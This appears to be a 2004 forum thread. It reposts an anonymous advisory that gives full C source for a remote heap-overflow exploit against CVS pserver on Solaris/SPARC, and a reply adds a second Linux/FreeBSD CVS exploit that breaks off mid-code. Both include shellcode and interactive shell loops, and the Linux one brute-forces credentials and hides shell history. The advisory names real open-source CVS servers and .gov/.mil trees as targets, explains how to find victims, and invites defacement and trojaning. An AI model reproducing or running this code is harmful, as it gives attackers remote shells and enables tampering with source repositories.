qcred11
May 21 2004, 02:54 PM
QUOTE Date: 20 May 2004 01:19:15 -0000 From: anonymous Subject: Declaring Open Season on Open Source Hi, consider this an iALERT Today a nice vulnerability in the CVS was published, this sucks. Here are some exploits for that vulnerability. They will exploit any Linux / FreeBSD / Solaris box running CVS. (The Solaris one is very slow, your bitching, I'd like to see you write it.) We already owned everyone and everything with these exploits years ago, and in fact we've all had them sitting on the shelf gathering dust due to lack of new targets. FUN TESTBED IDEAS: cvs.apache.org cvs.perl.com cvshome.org <-- PLAY "FIND THE SUCKIT" anoncvs.freebsd.org <-- ls -al /tmp to see how many people who can't hack own +this already cvs.kernel.org *.gnu.org *.debian.org www.openbsd.org <-- TRIPPLE HEAP SOLARIS OWNAGE - THEO IS TOAST HOW TO FIND VICTIMS: google for "[anon/cvs/anonymous/etc] pserver" .gov and .mil cvs trees are fun I wonder how long it'll take everyone to remove all the SUCKits Prizes may be given for the most imaginative defacement / trojaning. Finally a big thank-you to Steffen Esser of Team TESO Security for being such an +amazing whitehat and providing the public with such great Security Product. - The Axis of Eliteness - WARNING - THE AXIS HAZ ACCESS /* Napoleon Solo - Solaris / SPARC CVS exploit */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <signal.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdarg.h> #include <netdb.h> #include <errno.h> #include <sys/time.h> #include <fcntl.h> #include <zlib.h> #define CVS_PORT 2401 #define RET 0xffbffd20 #define NOP 0x82102017 #define ROUND(s) if (s % word_size) s += (word_size - (s % word_size)) unsigned char *root; unsigned char *user; unsigned char *pass; unsigned char *scrambled; unsigned char *reposit; unsigned char *directory; unsigned char buf[512]; unsigned char *host; unsigned int rport, port; unsigned int target; z_stream zout; z_stream zin; unsigned char zbuf[65536 * 4]; unsigned int zbufpos, zsent = 0; unsigned int word_size = 8, fill_size; unsigned int len1, len2, len3; unsigned int oflip, change, retaddr; char entry1[64], entry2[64], entry3[64]; struct expl { char *name; unsigned int retadd; } serve[] = { { "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8}, { "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192}, { "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8}, { "Crash server", 0x41414141}, { "Crash server 2", 0x77777777}, { "Stack ret test", 0xffbffd20}, { "Heap ret test", 0x00031337}, { NULL, 0} }; char shellcode[]= "\x21\x18\xd8\x58" // sethi %hi(0x63616000), %l0 "\xa0\x14\x23\x61" // or %l0, 0x361, %l0 "\x90\x10\x20\x01" // mov 1, %o0 "\x92\x0b\x80\x0e" // and %sp, %sp, %o1 "\x94\x10\x20\x04" // mov 4, %o2 "\x82\x10\x20\x04" // mov 4, %g1 "\x91\xd0\x20\x08" // ta 8 /* lsd shellcode. */ "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; char *scramble(char * str); void handler(int sig) { signal(SIGPIPE, handler); } /* * This function reads from socket s until either max bytes are read, * a newline is read, or timeout seconds elapse with no data over the * socket. * return values: * -2: timeout * -1: error * 0: connection closed * x: normal success, x bytes read */ int timeout_read(int s, char *buf, int max, int timeout) { int total = 0; int r = 0; int s_flags; char c; struct timeval to; fd_set rset; memset(&to, '\0', sizeof(to)); to.tv_sec = timeout; to.tv_usec = 0; s_flags = fcntl(s, F_GETFL, 0); fcntl(s, F_SETFL, s_flags | O_NONBLOCK); while(total < max) { FD_ZERO(&rset); FD_SET(s, &rset); select(s + 1, &rset, NULL, NULL, &to); if (FD_ISSET(s, &rset)) { r = read(s, &c, 1); total += r; if(r == -1) { if (errno != EWOULDBLOCK) { fcntl(s, F_SETFL, s_flags); return -1; } else continue; } else if(r == 0) { fcntl(s, F_SETFL, s_flags); return 0; } else /* r == 1 */ { buf[total-1] = c; if(c == '\n') break; } } else { fcntl(s, F_SETFL, s_flags); return -2; } } fcntl(s, F_SETFL, s_flags); return total; } void zflush(int sockfd) { static char outbuf[65536]; zout.next_in = zbuf; zout.avail_in = zbufpos; do { zout.next_out = outbuf; zout.avail_out = sizeof(outbuf); if(deflate(&zout, Z_PARTIAL_FLUSH) == -1) { printf("[--] Compression error.\n"); exit(1); } zsent += sizeof(outbuf) - zout.avail_out; write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out); } while (zout.avail_in != 0); zbufpos = 0; return; } int zwrite(char *buf, int len, int sockfd) { if ((sizeof(zbuf) - zbufpos) < (len)) zflush(sockfd); memcpy(zbuf + zbufpos, buf, len); zbufpos += len; if (zbufpos >= sizeof(zbuf)) { printf("[--] zwrite compression error.\n"); exit(1); } return (len); } int zgetch(int sockfd) { static char * outbuf = NULL; static int outpos = 0, outlen = 0; static char rcvbuf[32768]; static char dbuf[4096]; int got; retry: if (outpos < outlen && outlen) return outbuf[outpos++]; free(outbuf); outlen = 0; outbuf = NULL; got = read(sockfd, rcvbuf, sizeof(rcvbuf)); if (got <= 0) { printf("[--] Socket error.\n"); exit(1); } zin.next_in = rcvbuf; zin.avail_in = got; while (1) { int status, dlen; zin.next_out = dbuf; zin.avail_out = sizeof(dbuf); status = inflate(&zin, Z_PARTIAL_FLUSH); switch (status) { case Z_OK: outpos = 0; dlen = sizeof(dbuf) - zin.avail_out; outlen += dlen; outbuf = realloc(outbuf, outlen); memcpy(outbuf + outlen - dlen, dbuf, dlen); break; case Z_BUF_ERROR: goto retry; default: printf("[--] Revc inflate error.\n"); } } } char *zgets(int sockfd) { static char buf[32768]; char * p = buf; int c; while (1) { c = zgetch(sockfd); if (c == '\n') break; *p++ = c; if (p > buf + sizeof(buf)) { p--; break; } } *p = 0; return (buf); } int do_compression(int s) { char buf[3000]; int term = 0, i = 0; deflateInit(&zout, 1); inflateInit(&zin); memset(buf, 0x0, 300); sprintf(buf, "Gzip-stream 1\n"); write(s, buf, strlen(buf)); } int do_auth(int s) { char* str = malloc(50000); if(str == 0) { perror("malloc"); exit(1); } strcpy(str, "BEGIN AUTH REQUEST"); strncat(str, "\n", 1); strncat(str, reposit, strlen(reposit)); strncat(str, "\n", 1); strncat(str, user, strlen(user)); strncat(str, "\n", 1); scrambled = scramble(pass); strncat(str, scrambled, strlen(scrambled)); strncat(str, "\n", 1); strncat(str, "END AUTH REQUEST", 16); strncat(str, "\n", 1); write(s, str, strlen(str)); free(str); return 0; } int do_root(int s) { char* str = malloc(5000); bzero(str, 5000); strncat(str, "Root ", 5); strncat(str, root, strlen(root)); strncat(str, "\n", 1); write(s, str, strlen(str)); free(str); return 0; } int do_sized_entry(int s, char *e1, char *e2, int size) { char *str = malloc(size * 2); char *tmp = malloc(size); int x = 0; int term = 0; if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4)) { return; } bzero(str, size*2); bzero(tmp, size); sprintf(tmp, "Entry /%s/%s/", e1, e2); strcat(str, tmp); term = strlen(str); x = term; while(x < (size - 1)) str[x++] = 0xff; strcat(str, "\n"); str[term] = 0; write(s, str, size); free(str); return(0); } int normalize_heap(int sockfd) { int i; char buff[8192 + 128]; memset(buff, 0x0, 8192 + 128); memset(buff, 0x62, 8190); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); buff[72] = 0; for( i = 0 ; i < 128 ; i++) { write(sockfd, buff, 8191); } memset(buff, 0x0, 8192 + 128); memset(buff, 0x62, 8190); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); buff[65] = 0; for(i = 0 ; i < 64 ; i++) { write(sockfd, buff, 8191); } memset(buff, 0x0, 8192 + 128); memset(buff, 0x62, 8190); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); buff[44] = 0; for(i = 0 ; i < 32 ; i++) { write(sockfd, buff, 8191); } memset(buff, 0x0, 8192 + 128); memset(buff, 0xff, 8193); memcpy(buff, "Argument ", 9); strcat(buff, "\n"); write(sockfd, buff, 8194); } int correctly_fill_hole(int sockfd, int fill) { int chunk_size, chunk_size2; int num_chunks; int leftover, i = 0; char buf[256]; char pad[1024]; char buff[2048]; unsigned long addr = RET; char addrbuf[4096]; chunk_size = (1024 + word_size); num_chunks = (fill / chunk_size); leftover = (fill % chunk_size); memset(pad, 0x0, 1024); memset(pad, 0x88, ((1024 - 8) / 2)); memset(buff, 0x0, 2048); /* The exploit will almost certainly fail if leftover == 0 * however in theory this should never actually happen. */ if(leftover == 0) { for(i = 0; i < num_chunks && fill > 0; i++) { do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size)); fill -= (1024 + word_size); } } else { for(i = 0; i < (num_chunks -2) && fill > 0; i++) { do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size)); fill -= (1024 + word_size); } chunk_size2 = (chunk_size * 2 + leftover); ROUND(chunk_size2); memset(buff, 0x0, 2048); memset(buff, 0xff, (chunk_size2 - 8) / 2); memset(addrbuf, 0x0, sizeof(addrbuf)); for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4) *(int *)&addrbuf[i] = htonl(RET); memcpy(buff+1, addrbuf, strlen(addrbuf)); do_sized_entry(sockfd, buff, buff, 4096); } memset(buff, 0x0, 2048); memset(buff, 0xff, 34); memset(addrbuf, 0x0, sizeof(addrbuf)); for(i = 0; i < 28; i+=4) *(int *)&addrbuf[i] = htonl(RET); memcpy(buff+7, addrbuf, strlen(addrbuf)); do_sized_entry(sockfd, buff, buff, 97); } int do_ismodified(int s, char *e1) { char *str = (char *) malloc(100000); int x = 0, term = 0; bzero(str, 100000); sprintf(str,"Is-modified %s\n", e1); zwrite(str, strlen(str), s); zflush(s); free(str); return 0; } int do_argument(int sockfd) { char *exp; exp = (char *) malloc(20000); memset(exp, 0x0, 20000); memset(exp, 0x69, 19680 + strlen("Argument ")); memcpy(exp, "Argument ", strlen("Argument ")); exp[19680 + strlen("Argument ")] = '\n'; write(sockfd, exp, strlen(exp)); return(0); } int do_resize(int sockfd) { char buffer[256]; int x = 0; memset(buffer, 0x0, 256); memset(buffer, 0xff, 255); buffer[254] = '\n'; memcpy(buffer, "Argumentx ", strlen("Argumentx ")); buffer[74 + 44] = 0; zwrite(buffer, 255, sockfd); zflush(sockfd); } int do_overflow(int sockfd) { char buffer[20000]; int i = 0; memset(buffer, 0x0, 20000); memset(buffer, 0x42, 19782); for(i = 0 ; i < 19780-8; i+=4) *(unsigned int *)&buffer[i] = htonl(retaddr); for(i = 0; i < 19600; i+=4) *(unsigned int *)&buffer[i] = htonl(NOP); memcpy(buffer+19000, shellcode, strlen(shellcode)); memcpy(buffer, "Argument ", strlen("Argument ")); buffer[19781] = '\012'; zwrite(buffer, 19782, sockfd); zflush(sockfd); } int work_around_zlib_bug(int sockfd) { char buffer[4096]; char data[64]; memset(data, 0x0, 64); memset(data, 0x42, 32); memset(buffer, 0x0, 4096); memset(buffer, 0x42, 4000); sprintf(buffer, "Entry /%s/%s/", data, data); buffer[2999] = '\n'; zwrite(buffer, 3000, sockfd); zflush(sockfd); } unsigned char auth_shifts[] ={ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 }; char *scramble(char * str) { int i; char * s; s = (char *) malloc (strlen (str) + 3); memset(s, '\0', strlen(str) + 3); *s = 'A'; for (i = 1; str[i - 1]; i++) s[i] = auth_shifts[(unsigned char)(str[i - 1])]; return (s); } int usage(char *name) { printf("usage: %s [options]\n", name); printf("Options:\n"); printf(" -t Desired target\n"); printf(" -r CVS root\n"); printf(" -u CVS user\n"); printf(" -p Password\n"); printf(" -h Targeted host\n"); printf(" -P Port running CVS\n"); printf("\nAvailable targets:\n"); for (target = 0; serve[target].name != NULL; target++) printf("[%i] - %s\n", target, serve[target].name); exit(0); } int do_shell(int sockfd) { while(1) { fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sockfd,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)) { int cnt; char buf[1024]; if(FD_ISSET(0,&fds)) { if((cnt=read(0,buf,1024))<1) { if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sockfd,buf,cnt); } if(FD_ISSET(sockfd,&fds)) { if((cnt=read(sockfd,buf,1024))<1) { if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } } int main(int argc, char *argv[]) { int i, sockfd, len, result,x; char c; struct sockaddr_in addr; struct hostent *hostinfo; if(argc == 1) { usage(argv[0]); } port = CVS_PORT; while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF) { switch© { case 't': target = atoi(optarg); break; case 'r': root = strdup(optarg); reposit = strdup(optarg); break; case 'u': user = strdup(optarg); break; case 'd': directory = strdup(optarg); break; case 'p': pass = strdup(optarg); break; case 'h': host = strdup(optarg); break; default: usage(argv[0]); } } hostinfo = gethostbyname(host); if(!hostinfo) { perror("gethostbyname()"); exit(0); } sockfd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list; len = sizeof(addr); printf("Attacking %s running %s\n", host, serve[target].name); printf("["); fflush(stdout); retaddr = serve[target].retadd; while(1) { sockfd = socket(AF_INET, SOCK_STREAM, 0); result = connect(sockfd, (struct sockaddr *)&addr, len); if(result == -1) { perror("connect()"); exit(0); } do_auth(sockfd); timeout_read(sockfd, buf, sizeof(buf)-1, 3); do_root(sockfd); normalize_heap(sockfd); do_argument(sockfd); fill_size = 19680; memset(entry1, 0x41, 60); memset(entry2, 0x42, 60); memset(entry3, 0x43, 60); do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) ); fill_size -= (128 + word_size); do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) ); fill_size -= (128 + word_size); do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) ); fill_size -= (128 + word_size); correctly_fill_hole(sockfd, fill_size - (64 + word_size)); do_compression(sockfd); len1 = ( 5 + 4 + 16); len2 = ( 144 + 8 + 5 + 1); len3 = ( 144 + 8 + 128 + 8 + 5 + 0); for(i = 0; i < len1; i++) do_ismodified(sockfd, entry1); for(i = 0; i < len2; i++) do_ismodified(sockfd, entry2); for(i = 0; i < len3; i++) do_ismodified(sockfd, entry3); work_around_zlib_bug(sockfd); do_resize(sockfd); do_overflow(sockfd); printf("."); fflush(stdout); while(1) { result = timeout_read(sockfd, buf, 4, 5); if(result == -1 || result == 0) { break; } if(result == -2) { printf("\n Timeout... trying for shell\n"); do_shell(sockfd); break; } /* Maybe use strstr and a larger read buffer here ? */ if(strncmp(buf, "caca", 4) == 0) { printf("]\n"); printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr); do_shell(sockfd); exit(0); } } change += 12000; if(oflip == 0) { retaddr = serve[target].retadd + change; oflip = 1; } else if(oflip == 1) { retaddr = serve[target].retadd - change; oflip = 0; } close(sockfd); } } /* TRIPLE OVERFLOW HEAP SOLARIS OWNAGE THEO IS TOAST */
setthesun
May 21 2004, 03:01 PM
That's horrible this guy is saying "we owned all of them years ago" ! WTF, they can modify source codes of all our open source softwares. cvs.kernel.org ? bah...
Gurou
May 21 2004, 05:07 PM
anyone tested this ?
brOmstar
May 21 2004, 05:39 PM
here is the linux version
CODE /* Linux / FreeBSD CVS exploit - January 2001 */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <sys/types.h> #include <signal.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdarg.h> #include <netdb.h> #include <errno.h> #include <sys/time.h> #include <zlib.h> typedef unsigned char uchar; void progress(void); int brute_cvsroot(void); int brute_username(void); int brute_password(void); void hdl_crashed(int); void bsd_exploitation(void); void try_exploit(void); void zflush(int); int zprintf(char *, ...); int zgetch(void); void start_gzip(void); void fill_holes(void); char * zgets(void); void evil_entry(void); void linux_exploitation(ulong, int); void do_dicotomie(void); void do_xploit(void); char * flush_sock(void); void usage(char *); long getip(char *); void try_oneshoot(void); int connect_to_host(char *, int); int write_sock(void *, int); int read_sock(void *, int); void nopen(char *, int); char * ngets(void); void memcpy_flush(void); void cvs_conn(void); int detect_remote_os(void); void memcpy_remote(ulong, ulong, uchar *, int); void memcpy_addr(ulong, ulong, int); void nclose(void); char * scramble(char *); int sh(int); struct array { char * name; int id; }; struct array CVSROOTS[]= { { "/cvs" , -1 }, { "/cvsroot" , -1 }, { "/var/cvs" , -1 }, { "/anoncvs" , -1 }, { "/repository" , -1 }, { "/home/CVS" , -1 }, { "/home/cvspublic" , -1 }, { "/home/cvsroot" , -1 }, { "/var/lib/cvs" , -1 }, { "/var/cvsroot" , -1 }, { "/usr/lib/cvs" , -1 }, { "/usr/CVSroot" , -1 }, { "/usr/share/cvsroot" , -1 }, { "/usr/local/cvsroot" , -1 }, { "/usr/local/cvs" , -1 }, { "/webcvs" , -1 }, { NULL , -1 }, }; struct array USERNAMES[]= { { "anonymous" , -1 }, { "anoncvs" , -1 }, { "cvsread" , -1 }, { "anon" , -1 }, { "cvs" , -1 }, { "guest" , -1 }, { "reader" , -1 }, { "cvslogin" , -1 }, { "anon-cvs" , -1 }, { NULL , -1 }, }; struct array PASSWORDS[]= { { "" , -1 }, { " " , -1 }, { "anonymous" , -1 }, { "anoncvs" , -1 }, { "anon" , -1 }, { "cvs" , -1 }, { "guest" , -1 }, { NULL , -1 }, }; #define HIGH_STACK 0xbfffffc0 #define LOWER_STACK 0xbfffd000 #define DEFAULT_ADDR 0xbffffd00 #define RANGE_VALID 0xbffffe00 #define DUMMY_ADDR 0x42424242 #define LINUX_ADDR 0xbfffe200 #define LINUX_SIZE 0x2000 #define HEAPBASE 0x082c512e #define DEFAULT_TIMEOUT 20 #define TIMEOUT DEFAULT_TIMEOUT #define CMD "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \ "/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\ "unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\ "echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n" #define VERT "\033[32m" #define NORM "\033[0m" #define INFO "" #define BAD_TRIP "WRONG !\n" #define GOOD_TRIP VERT"FOUND"NORM" !\n" #define QUIT(x...) { printf(x); exit(0); } #ifdef DEBUGMSG #define DEBUG(x...) fprintf(stderr, x) #else #define DEBUG(x...) #endif #define info(fmt...) fprintf(stderr, INFO""fmt) #define aff(fmt...) fprintf(stderr, fmt) static char tmpbuf[32000]; #define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \ write_sock(tmpbuf, strlen(tmpbuf)); } #define nwrite(buf, cn) write_sock(sock, buf, cn) #define nread(buf, cn) read_sock(sock, buf, cn) #define NHOLES (256 - 31) #define SCNUM 128 #define SCSIZE 32766 #define OFFSET 106 #define ALIGN(x, y) ((x % y) ? x + (x % y) : x) #define SET_FD(x) (x - CHUNK_BK) #define SET_BK(x) (x - CHUNK_FD) #define UNSET_BK(x) (x + CHUNK_FD) #define UNSET_FD(x) (x + CHUNK_BK) #define MAX_FILL_HEAP 200 #define NUM_OFF7 (sizeof("Entry ")) #define MSIZE 0x4c #define MALLOC_CHUNKSZ 8 #define AN_ENTRYSZ 8 #define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ) #define FAKECHUNK MSIZE - MAGICSZ + (NUM_OFF7 - 1) #define SIZEBUF FAKECHUNK + 16 #define SIZE_VALUE -8 #define CHUNK_PSIZE 0 #define CHUNK_SIZE 4 #define CHUNK_FD 8 #define CHUNK_BK 12 #define OVERFLOW_NUM 8 #define DEFAULT_SIZE 0x300 #define SHELLCODE_OFF 0x142 #define SHELLCODE_ADDR (addr - SHELLCODE_OFF) #define DUMMY2 "timetosleep" #define DUMMY "theosuxdick" #define MAGICSTRING "abroxyou" #define ABMAGIC "-AB-" #define ABMAGICSZ sizeof(ABMAGIC) - 1 #define EXPLOITROX "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n" #define PCNT 20 #define CVS_PORT 2401 #define CVS_LOGIN "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\ "END AUTH REQUEST\n" #define CVS_VERIF "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\ "END VERIFICATION REQUEST\n" #define CVS_SEND_ROOT "Root %s\n" #define CVS_GET_VERSION "version\n" #define CVS_FLUSH "\nnoop\nnoop\n" #define CVS_AUTH_FAILED "I HATE YOU" #define CVS_AUTH_SUCCESS "I LOVE YOU" #define CVS_BAD_REP "no such repository" #define CVS_NO_USER "no such user" #define CVSENTRY "Entry " #define CVS_ISMOD "Is-modified " #define CVS_ISMODSZ sizeof(CVS_ISMOD) - 1 #define CVS_UNKNOW "unrecognized request" #define CVS_ERROR "error" #define CVS_ERROR2 "E " #define CVS_GZIP "Gzip-stream " #define CVS_OK "ok" #define BANNER VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n" #define ERR_CVSROOT "unable to found a valid cvsroot\n" #define ERR_USERNAME "unable to found a valid username\n" #define ERR_PASSWORD "unable to found a valid password\n" #define ERR_FAILURE "Is remote really linux/bsd without security patch ?\n" #define ERR_AUTHFAILED "Fatal: authentification failure..\n" #define ERR_ZPRINTF "Too long zprintf (something is broken) !\n" #define ERR_INFLATE "Inflate error\n" #define ERR_CONN "cannot connect\n" #define ERR_GETIP "cannot resolve\n" #define ERR_READSOCK "cannot read data\n" #define ERR_WRITESOCK "cannot write data\n" #define SUCCESS_LOGON VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)" #define bad_addr(x) (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\ || (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \ (x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \ (x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012') /* 0h j3sus */ char zbuf[65536 * 4]; int zbufpos; int cur_num = 0; int is_scramble = 0; int detectos = 0; int sock = 0; int port = CVS_PORT; ulong saddr = DEFAULT_ADDR; uint size = DEFAULT_SIZE; int timeout = DEFAULT_TIMEOUT; int scnum = SCNUM; ulong heapbase = HEAPBASE; int isbsd = 0; int usent = 0; int zsent = 0; char *root = NULL; char *user = NULL; char *pass = NULL; char *host = NULL; z_stream zout; z_stream zin; /* ** write(1, "abroxyou", 8) / setuid(0) / execve / exit; ** Linux only */ uchar ab_shellcode[] = "\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33" "\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62" "\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17" "\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01" "\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c" "\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52" "\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80"; /* ** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve ** Linux/BSD */ uchar xx_shellcode[] = "\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58" "\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42" "\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a" "\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50" "\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a" "\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42" "\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02" "\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00"; void usage(char * base) { printf("Us4g3 : r34d 7h3 c0d3 d00d;P\n"); exit(0); } int main(int ac, char **av) { int c; setbuf(stdout, NULL); setbuf(stderr, NULL); printf(BANNER); while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF) { switch(c) { case 'b': isbsd++; break; case 'R': detectos++; break; case 'r': root = strdup(optarg); break; case 'i': is_scramble = 1; break; case 's': saddr = strtoul(optarg, 0, 0); break; case 't': timeout = strtoul(optarg, 0, 0); break; case 'S': size = strtoul(optarg, 0, 0); break; case 'u': user = strdup(optarg); break; case 'p': pass = strdup(optarg); break; case 'h': host = strdup(optarg); break; case 'P': port = strtoul(optarg, 0, 0); break; case 'o': heapbase = strtoul(optarg, 0, 0); break; case 'n': scnum = strtoul(optarg, 0, 0); break; default: usage(av[0]); } } if (!host || (detectos && isbsd)) usage(av[0]); if (!root) if(!brute_cvsroot()) QUIT(ERR_CVSROOT); if (!user) if(!brute_username()) QUIT(ERR_USERNAME); if (!pass) if(!brute_password()) QUIT(ERR_PASSWORD); do_xploit(); return (0); } void do_xploit(void) { int linux_only = 0; signal(SIGPIPE, hdl_crashed); if (detectos) linux_only = detect_remote_os(); if (isbsd) bsd_exploitation(); else { linux_exploitation(LINUX_ADDR, LINUX_SIZE); if (!linux_only) bsd_exploitation(); } printf(ERR_FAILURE); return; } int detect_remote_os(void) { info("Guessing if remote is a cvs on a linux/x86...\t"); if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) || !range_crashed(0x42424242, 0x42424242 + 4)) { printf(VERT"NO"NORM", assuming it's *BSD\n"); isbsd = 1; return (0); } printf(VERT"Yes"NORM" !\n"); return (1); } void bsd_exploitation(void) { printf("Exploiting %s on a *BSD\t", host); do_auth(); fill_holes(); evil_entry(); start_gzip(); try_exploit(); } void linux_exploitation(ulong addr, int sz) { char * buf; printf("Exploiting %s on a Linux\t", host); cvs_conn(); fflush(stdout); memcpy_addr(addr, SHELLCODE_ADDR, sz); memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode, sizeof(ab_shellcode) - 1); memcpy_flush(); nprintf(CVS_FLUSH); buf = flush_sock(); if (strstr(buf, MAGICSTRING)) { printf(EXPLOITROX); sh(sock); } #ifdef SHITTEST sleep(333); #endif nclose(); info(BAD_TRIP); } int do_auth(void) { char * your_mind; nopen(host, port); nprintf(CVS_LOGIN, root, user, scramble(pass)); your_mind = flush_sock(); if (!strstr(your_mind, CVS_AUTH_SUCCESS)) QUIT(ERR_AUTHFAILED); free(your_mind); nprintf(CVS_SEND_ROOT, root); } void fill_heap(void) { int c; for (c = 0; c != MAX_FILL_HEAP; c++) nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC" "CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n"); for (c = 0; c != (MAX_FILL_HEAP * 2); c++) nprintf(CVSENTRY"CC/CC/CC\n"); } void cvs_conn(void) { do_auth(); fill_heap(); } char * get_dummy(void) { static char buf[2048] = { '\0' }; memset(buf, '\0', sizeof(buf)); sprintf(buf, CVSENTRY"B%s/", DUMMY2); memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2)); strcat(buf, "/\n"); return (&buf[0]); } char * build_chunk(ulong addr1, ulong addr2, int i) { char num[20]; char * buf = get_dummy(); if (i != -1) { sprintf(num, "%d", i); memcpy(buf + NUM_OFF7, num, strlen(num)); } *(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE; *(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1); *(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2); return (buf); } void memcpy_flush(void) { int i = 0, j; char * buf; char num[20]; if (!cur_num) return; buf = get_dummy(); for (i = 0; i != cur_num - 1; i++) { sprintf(buf, 